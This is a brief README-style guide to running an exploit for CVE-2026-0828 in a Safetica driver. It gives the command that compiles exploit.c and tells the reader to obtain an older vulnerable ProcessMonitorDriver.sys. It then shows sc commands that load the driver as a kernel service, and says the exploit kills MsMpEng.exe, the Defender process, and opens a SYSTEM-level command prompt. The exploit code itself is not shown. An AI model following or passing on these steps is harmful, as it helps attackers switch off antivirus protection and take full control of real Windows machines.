dast

CVE-2026-0828 Build: Open the Visual Studio Developer Command Prompt (x64 Native Tools) and compile the code

: bash

cl.exe /W3 /O1 /nologo exploit.c /Fe:exploit.exe

Preparation: Make sure the vulnerable Safetica driver (ProcessMonitorDriver.sys) is installed on the test machine. If it is not there, you will need to obtain it (for example, from a Safetica distribution version < 11.26.19)

.

Loading the driver (as Administrator): The driver must be loaded into the system. This can be done via a console with administrator privileges

: bash

sc create STProcessMonitor type= kernel binPath= "C:\full\path\to\ProcessMonitorDriver.sys" sc start STProcessMonitor

Running the exploit: Now run exploit.exe. It will terminate the specified process (in the code this is MsMpEng.exe) and open a new cmd.exe window with NT AUTHORITY\SYSTEM privileges